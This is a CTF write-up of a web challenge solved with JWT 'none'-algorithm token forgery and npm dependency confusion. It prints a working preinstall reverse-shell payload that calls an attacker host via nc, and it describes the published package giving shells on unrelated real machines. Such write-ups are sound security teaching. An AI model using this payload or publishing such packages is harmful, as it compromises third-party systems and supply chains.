![[HacktivityCon2021/spiral/1.png]] My favorite challenge of HacktivityCon 2021 was made by [Congon4tor](https://twitter.com/Congon4tor). It's a hard difficulty with 23 solves, which I was able to get first blood on! ![[HacktivityCon2021/spiral/fb.png]] While doing this challenge, I traveled across the world at light speed. ## Walkthrough Loading up the challenge we see something that looks like an integration testing dashboard. Navigating to "sign in" we see a login form, testing this no SQL injection or guessable accounts were found. ![[HacktivityCon2021/spiral/2.png]] Going back to the dashboard, there doesn't seem to be any interesting to be found. But going into the Inspector, we find a session token, even though we aren't logged in. ![[HacktivityCon2021/spiral/3.png]] This session token looks an awful lot like a JWT token. Let's load up [jwt.io](https://jwt.io/) and inspect it. ![[HacktivityCon2021/spiral/4.png]] A user id of `-1`. First, we try to set a user id here. Sometimes the signature doesn't get checked, if this is the case we can set our user id. For this, we can just edit the payload in jwt.io and set our new token in the cookie. ![[HacktivityCon2021/spiral/5.png]] ![[HacktivityCon2021/spiral/6.png]] Doing this gives us an internal server error. Omitting the signatures completely gives the same error. Not great. Let's try something else. Some implementations don't check if the algorithm in the JWT is the expected one. So setting the algorithm to something less secure could lead to us being able to create our own tokens. One curious algorithm is `none`. Let's try that. We create our new header with the `none` algorithm: ``` $ echo -n '{"typ":"JWT","alg":"none"}' | base64 -w 0 eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0= ``` And replace the old header in our modified token and completely remove the signature, resulting in: ``` eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyaWQiOjF9. ``` ![[HacktivityCon2021/spiral/7.png]] Forbidden? Token seems to have been accepted, but the user id we selected isn't able to access the application. Let's use user id 2: ``` $ echo -n '{"userid":2}' | base64 -w 0 eyJ1c2VyaWQiOjJ9 ``` Replace this with the payload part of the token, resulting in: ``` eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyaWQiOjJ9. ``` ![[HacktivityCon2021/spiral/8.png]] Logged in as developer!! Now we see two projects which we can download, run, and view their logs. Let's download the calculator application and view its contents ![[HacktivityCon2021/spiral/9.png]] Looks like a node application, let's run the test and view the logs ![[HacktivityCon2021/spiral/10.png]] Parts that stand out here are the two commands being run: - `npm install --registry=http://localhost:4873/` - `npm test` First, it installs the dependencies then it runs the test script. In `package.json`, we see the test script runs the `calc.test.js` file. So we can forget about the app.js file, it's not being used. ![[HacktivityCon2021/spiral/11.png]] Something that stood out immediately when I opened the `package.json` was the `calc_mw5wo1z5fk` dependency. This is a non scoped package, which is in the public registry unclaimed. Doing some googling (query: "private registry npm package public vuln") we came across an [article](https://blog.includesecurity.com/2021/02/dependency-confusion-when-are-your-npm-packages-vulnerable/) going over a situation comparable to ours. The article outlines how we can publish a newer version of a package on the public registry to overrule the private registry. Let's set up this package: ``` $ mkdir calc_mw5wo1z5fk $ cd calc_mw5wo1z5fk $ npm init ``` > With the npm init command we spammed enter to just set defaults for all properties. Now we open up the package and do 2 changes, just like the article suggests. First, we increase the version to 1.0.1, then we add a preinstall script with a reverse shell. Resulting in a `package.json` file that looks like this: ``` { "name": "calc_mw5wo1z5fk", "version": "1.0.1", "description": "", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "preinstall": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc MYIP 8080 >/tmp/f" }, "author": "", "license": "ISC" } ``` > `MYIP` is an IP address of my VPS on which we have a listener running with `nc -lvnp 8080` Everything is set, let's publish the packing to the public registry with `npm publish`. _This is where the journey starts._ Clicking on "Launch test" on the dashboard I was hoping for a reverse shell from the challenge box. I did get a reverse shell, got extremely happy, hoping to find the flag quickly to secure the first blood. However, I wasn't able to find it. After closer inspection, I was **not** connected to the challenge server. > I have censored out any possible identifiable information ![[HacktivityCon2021/spiral/wslshell.png]] Welcome to the United States. Random Windows WSL shell that has nothing to do with the CTF. ![[HacktivityCon2021/spiral/chinashell.png]] Welcome to Bejing, China. Another server giving us a shell, this time of the root user. The interesting part here, the server's hostname is the name of a large Chinese company. I closed both shells immediately when I realized it wasn't my target. After we finally got the target to connect back to us before anyone else did. I was able to read the flag and secure first blood. ![[HacktivityCon2021/spiral/12.png]] ![[HacktivityCon2021/spiral/flag.png]] `flag{0425d24a60a6ac58af3d4cc8b746950f}`